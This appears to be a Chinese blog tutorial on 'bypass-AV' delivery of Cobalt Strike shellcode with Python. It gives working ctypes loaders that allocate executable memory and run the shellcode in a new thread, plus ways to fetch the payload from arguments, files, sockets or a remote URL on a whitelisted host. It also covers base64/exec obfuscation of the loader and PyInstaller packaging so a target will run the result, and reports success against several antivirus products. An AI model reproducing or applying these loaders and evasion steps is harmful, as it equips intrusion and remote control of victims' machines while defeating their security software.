【免杀】C2远控-shellcode分离-python

环境配置

1.根据python选择合适的加载器

参考: zhihu.com/question/51088465/answer/2419955833

import struct  
print(struct.calcsize("P") * 8)
# 查看自己python位数
2.shellcode生成

根据自己的python版本生成对应位数的shellcode
64位python就勾选。32就不勾选

3.选择加载器

配置好CS环境,讲生成的shellcode填入下面py文件的shellcode 处。这个我给出了 两个加载器代码,自己选一个用就行了

加载器1
import ctypes  
  
# shellcode加载  
def shellCodeLoad(shellcode):  
    # 设置VirtualAlloc返回类型为ctypes.c_uint64  
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64  
    # 申请内存  
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),  
                                       ctypes.c_int(0x40))  
    # 放入shellcode  
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)  
    # 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中  
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))  
  
    # 创建一个线程从shellcode首地址开始执行  
    handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr),  
                                                 ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))  
  
    # 等待创建的线程运行完毕  
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))  
  
if __name__ == "__main__":  
    shellcode = b"填入你的shellcode"  
    shellCodeLoad(bytearray(shellcode))  
    # 放入CS生成的shellcode
加载器2
import ctypes  
  
scbytes = b'填入你的shellcode'  
  
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p  
ctypes.windll.kernel32.RtlCopyMemory.argtypes = ( ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t )   
ctypes.windll.kernel32.CreateThread.argtypes = ( ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int) )   
  
space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(scbytes)),ctypes.c_int(0x3000),ctypes.c_int(0x40))  
buff = ( ctypes.c_char * len(scbytes) ).from_buffer_copy( scbytes )  
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space),buff,ctypes.c_int(len(scbytes)))  
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_void_p(space),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))  
ctypes.windll.kernel32.WaitForSingleObject(handle, -1);
4.上线测试加载器是否能用

填好shellcode后,运行看看有没有上线成功

成功上线

1、ShellCode分离

Python从参数中提取

从参数中获取shellcode。不直接将shellcode写入代码中
这里采用base64加解密传递参数,使用的是加载器1
代码

import sys  
import ctypes, base64  

def scloader(scbytes):
 #加载器代码(直接copy过来就行了)
   
if __name__ == '__main__':  
    sc = sys.argv[1]  
    scbytes = base64.b64decode(sc)  
    scloader(scbytes)
  • 使用
    python a.py 【shellcode】

    成功上线

Python从网站中提取

访问外部网站,读取里面的文件获取shellcode
如访问:url:http://xx.xx.xx.xx/sc.txt(建议在绿标白名单的网站上找一个存储路径充当)

这里我用阿里云的oss作为演示

  • 本地新建一个文本文件。
    将b64加密后的代码放进去
  • 上传到oss后获取文件的url
  • 填入url运行成功上线

    代码
import requests,time
import ctypes,base64


def scloader(scbytes):
 #加载器代码(直接copy过来就行了)
 
if __name__ == '__main__':
    # time.sleep(60)
    sc = requests.get("你的url").text
    print(sc)
    scbytes=base64.b64decode(sc)
    #shellcode 进入内存
    scloader(scbytes)

Python从文本中提取

这个与上面类似,只不过是从远程读文本,换成了从本地

import ctypes,base64  
  
def scloader(scbytes):
 #加载器代码(直接copy过来就行了) 
  
  
if __name__ == '__main__':  
    with open('sc.txt', 'r') as f:  
        sc = f.read()  
    scbytes=base64.b64decode(sc)  
    scloader(scbytes)
  • 运行后上线成功

Python从socket连接

socket,pipe等技术
利用建立网络通讯管道,在发送ShellCode接受执行
可以在发送过程中进行混淆加密,接受后进行解密执行提高免杀能力

  • 服务端执行服务端代码
  • 再开启客户端
    此时会有显示

    客户端输入shellcode
  • 成功上线
    服务端代码
# -*- coding:utf-8 -*-
import socket,base64,ctypes,os
server=socket.socket()



def zx(data):
    scbytes=base64.b64decode(data+b'9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f/VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJ+UG6EpaJ4v/VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon/3//zEyNC43MS4xMTEuNjQAF1Bl6g==')
    print(scbytes)
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
    ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
    ctypes.windll.kernel32.CreateThread.argtypes = (
    ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int))
    space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(scbytes)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
    buff = (ctypes.c_char * len(scbytes)).from_buffer_copy(scbytes)
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space), buff, ctypes.c_int(len(scbytes)))
    handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(space),ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
    ctypes.windll.kernel32.WaitForSingleObject(handle, -1);
    return scbytes


server = socket.socket()
server.bind(("0.0.0.0",9999))
server.listen(5)
while True:
    conn,addr = server.accept()
    print("new addr:",addr)
    while True:
        data = conn.recv(1024)
        if not data:
            print("客户端已断开")
            break
        print("执行指令:",data)
        zx(data)
        if len(cmd_res) == 0:
            cmd_res = "cmd has no output...."
        conn.send( str(len(cmd_res.encode())).encode() )  #发送服务端发送给客户端数据的长度
        conn.send(cmd_res.encode("utf-8"))   #发送服务端的数据
        print("send done")
server.close()

客户端代码

import socket

client = socket.socket()
client.connect(("192.168.8.1",9999))

while True:
    cmd = input(">>>:").strip()
    if len(cmd) == 0: continue
    client.send(cmd.encode("utf-8"))
    cmd_res_size = client.recv(1024)  # 接收命令的长度
    print("命令结果大小:", cmd_res_size.decode())
    recevied_size = 0  # 接收客户端发来数据的计算器
    recevied_data = b''  # 客户端每次发来内容的计数器
    while recevied_size < int(cmd_res_size.decode()):  # 当接收的数据大小 小于 客户端发来的数据
        cmd_res = client.recv(1024)
        recevied_size += len(cmd_res)  # 每次收到的服务端的数据有可能小于1024,所以必须用len判断
        recevied_data += cmd_res
    else:
        print(recevied_data.decode("utf-8", "ignore"))
        print("cmd res receive done ....", recevied_size)

client.close()

2、Py打包器

肯定不可能直接上传给目标Py文件,叫目标运行。所以需要进行打包成exe文件。常用的打包有三种3打包器

  • py2exe
  • pyinstall
  • cx_Freeze
    这里采用pyinstall打包
  • 新建一个文件夹放入Pyinstaller.exe与写好的py文件
  • python .\pyinstaller.exe -F 要打包的py文件
  • 打包完成

    测试是否可以上线
    成功上线

3、免杀测试

将上面打包的几个exe上传到虚拟机上面,发现还没运行就被火绒、Df、360、卡巴斯基杀了

  • 因为shellcode已经分离了。能够检测的应该就是加载器的问题了。因为这个加载器是网上公开的,用的人多了就容易被检测到了(如果有自己编写的加载器应该是可以过检测的)

加载器过文件检测

1、加载器代码加密

既然会检测加载器代码,那我们将加载器代码加密不就可以防止其检测了吗

  • 将加载器代码进行base64加密
import base64  
  
# 原始代码  
original_code = """  
import ctypes  
  
def scloader(scbytes):  
    加载器代码(注意缩进)  
if __name__ == '__main__':  
    with open('sc.txt', 'r') as f:        sc = f.read()    scbytes=base64.b64decode(sc)    scloader(scbytes)"""  
  
# 将代码进行base64编码  
encoded_code = base64.b64encode(original_code.encode('utf-8')).decode('utf-8')  
print(encoded_code)
  • 输出的base64加密代码放
import base64  
import ctypes  
  
encoded_code ="base64加密后的代码"  
# 解码并执行代码  
decoded_code = base64.b64decode(encoded_code).decode('utf-8')  
exec(decoded_code)
  • 成功上线
  • 打包成exe测试。
    成功过文件检测


    卡巴斯基还是厉害
2、文件读取加载器代码

除了用base64方式加密外,也可以尝试用文件读取的方式进行加密,二者代码差不多,只不过是把加载器的加密代码放到文件里面罢了
生成加密加载器代码文件

import base64  
  
# 原始代码  
original_code = """  
import ctypes  
  
def scloader(scbytes):  
    加载器代码(注意缩进)  
if __name__ == '__main__':  
    with open('sc.txt', 'r') as f:        sc = f.read()    scbytes=base64.b64decode(sc)    scloader(scbytes)"""  
  
# 将代码进行base64编码  
encoded_code = base64.b64encode(original_code.encode('utf-8')).decode('utf-8')  
print(encoded_code)  
# 将编码后的代码保存到文件中  
with open('encoded_code.txt', 'w') as f:  
    f.write(encoded_code)  
  
print("Base64编码后的代码已保存到 encoded_code.txt 文件中。")

读取加载器代码并解码运行

import base64  
import ctypes  
  
# 从文件中读取编码后的代码  
with open('encoded_code.txt', 'r') as f:  
    encoded_code = f.read()  
  
# 解码并执行代码  
decoded_code = base64.b64decode(encoded_code).decode('utf-8')  
exec(decoded_code)
3、更多加密

除了以上的方式,还有很多种加密,可以自己发挥想象进行加密,如也可以通过远程文件读取加载器代码进行加密

4、突破内存扫描

上面的办法不管是分离shellcode还是分离加载器。尽管过了文件检测,最终执行时还是会被检测到,过不了内存检测
就是因为最后执行都时候都会回归本体
你加密混淆分离,最后还是会回归原来的代码并被执行。那么在内存当中就可以被检测到

项目参考:

GitHub - minhangxiaohui/AvoidRandomKill: 一次免杀实践(bypass 360、huorong、windows defender、kaspersky、)

GitHub - wangfly-me/LoaderFly: 助力每一位RT队员,快速生成免杀木马
一种规避杀软检测的技术就是内存加密技术。由于杀软并不是一直扫描内存,而是间隙性的扫描敏感内存

因此可以在cs的shellcode调用sleep休眠将可执行内存区域加密,在休眠结束时再将内存解密来规避杀软内存扫描达到免杀的目的。

  • 也就是说,我们让它在执行前先卡住不动,(执行时才会进入内存)等检测过去再执行,然后再上线

    基于以上原理,结合想法进行了实现,成功实现动态免杀火绒、360、defender、卡巴斯基等

PS:昨天本想发一篇《shellcode分离-C》的,但是学习C做免杀感觉有些吃力,就没能发成。今天的这篇python相对来说与C的思路是一样的,且python更容易上手,所以学起来也容易些。但是后面的内存免杀确实是给我上强度了。自己到现在也只是有一点简单粗略的理解,也不好意思发出来了。更多免杀可以看看这位大佬的笔记 GitHub - xf555er/AntiAntiVirusNotes: 学习免杀的笔记

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值